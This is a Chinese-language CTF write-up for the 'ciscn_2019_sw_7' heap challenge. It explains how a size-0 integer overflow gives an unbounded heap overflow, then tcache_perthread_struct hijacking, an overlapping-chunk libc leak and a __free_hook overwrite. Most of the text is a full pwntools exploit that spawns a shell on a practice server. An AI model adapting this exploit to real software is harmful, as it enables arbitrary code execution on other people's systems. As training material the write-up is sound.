前置知识
- 堆溢出
tcache_perthread_struct hijacking
- 重叠指针构建
整体思路
read
中有一个整数溢出, 假如输入的size
小于等于0
,那么在输入内容的时候会将一个有符号整数和无符号整数进行比较,如下:
这会使得有符号整数被强制类型转换为无符号整数,从而导致负数会被转换为一个非常大的正数,从而实现一个几乎无限大小的堆溢出。因此我们通过输入size
为0
的chunk
,即可申请一个实际大小为0x20
但是可以输入无限长度的chunk
。
通过堆溢出我们可以相当简单地实现tcache poisoning
,但是在这之前的泄露libc
地址是这道题唯一难一点的地方。
这里我的方法是:通过tcache poisoning
来劫持tcache_perthread_struct
,使得大小为0x90
以上的chunk
只能被分配到unsortedbin
。
然后通过分配三个chunk
,第一个的size
为0
,第二个的size
为0x60
(实际为0x70
),第三个的size
为0
。
通过第一个chunk
来修改第二个chunk
的size
为0x90
(即第二个加第三个),然后将其释放,即可使其置入unsortedbin
。
申请回size
为0x60
(实际为0x70
)的chunk
,即可使得main_arena+x
的指针被置入原本构造的第三个chunk
,获得libc
地址。
然后打tcache_perthread_struct
即可。
exp
from pwn import *
from LibcSearcher import *
filename = './ciscn_2019_sw_7'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.27-3ubuntu1_amd64/libc.so.6')
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
choice_words = '> '
menu_add = 1
add_index_words = ''
add_size_words = 'The size of note:'
add_content_words = 'The content of note:'
menu_del = 4
del_index_words = 'Index:'
menu_show = 2
show_index_words = 'Index:'
menu_edit = 4
edit_index_words = 'Idx: '
edit_size_words = ''
edit_content_words = ''
def add(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_add))
if add_index_words:
sh.sendlineafter(add_index_words, str(index))
if add_size_words:
sh.sendlineafter(add_size_words, str(size))
if add_content_words:
sh.sendafter(add_content_words, content)
def delete(index=-1):
sh.sendlineafter(choice_words, str(menu_del))
if del_index_words:
sh.sendlineafter(del_index_words, str(index))
def show(index=-1):
sh.sendlineafter(choice_words, str(menu_show))
if show_index_words:
sh.sendlineafter(show_index_words, str(index))
def edit(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_edit))
if edit_index_words:
sh.sendlineafter(edit_index_words, str(index))
if edit_size_words:
sh.sendlineafter(edit_size_words, str(size))
if edit_content_words:
sh.sendafter(edit_content_words, content)
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
def exp():
add(size=0, content='aaa\n') # 0
add(size=0, content='bbb\n') # 1
add(size=0, content='ccc\n') # 2
add(size=0x0, content='ddd\n') # 3
add(size=0x60, content='zzz\n') # 4
add(size=0x0, content='zzz\n') # 5
add(size=0, content='aaa\n') # 6
delete(index=2)
delete(index=1)
delete(index=0)
payload = b'a'*0x10 + p64(0x21) + p8(0) + b'\n'
add(size=0, content=payload) # 0
add(size=0, content='bbb\n') # 1
# debug()
payload = p64(0x251) + b'\x00'*5 + b'\xff'*0x10 + b'\n'
add(size=0, content=payload) # 2, tcache_perthread_struct - 0x10
# debug()
delete(index=3)
payload = b'a'*0x10 + p64(0x91)
add(size=0, content=payload + b'\n') # 3
delete(index=4)
add(size=0x60, content='zzz\n') # 4
show(index=5)
libc_leak = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
leak_info('libc_leak', libc_leak)
libc.address = libc_leak - 0x3ebca0
leak_info('libc.address', libc.address)
add(size=0, content='zzz\n') # 7, 和5重叠
delete(index=5)
delete(index=3)
payload = b'a'*0x10 + p64(0x71) + b'a'*0x60 + p64(0) + p64(0x21) + p64(libc.sym['__free_hook'] - 8)
add(size=0, content=payload + b'\n') # 3
add(size=0, content='zzz\n') # 5
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
add(size=0, content= p64(libc.address + one_gadget[1]) + b'\n') # 8
delete(index=3)
sh.interactive()
# debug()
while True:
if local:
sh = process(filename)
else:
sh = remote('node5.buuoj.cn', 28701)
try:
exp()
except:
sh.close()
continue
参考内容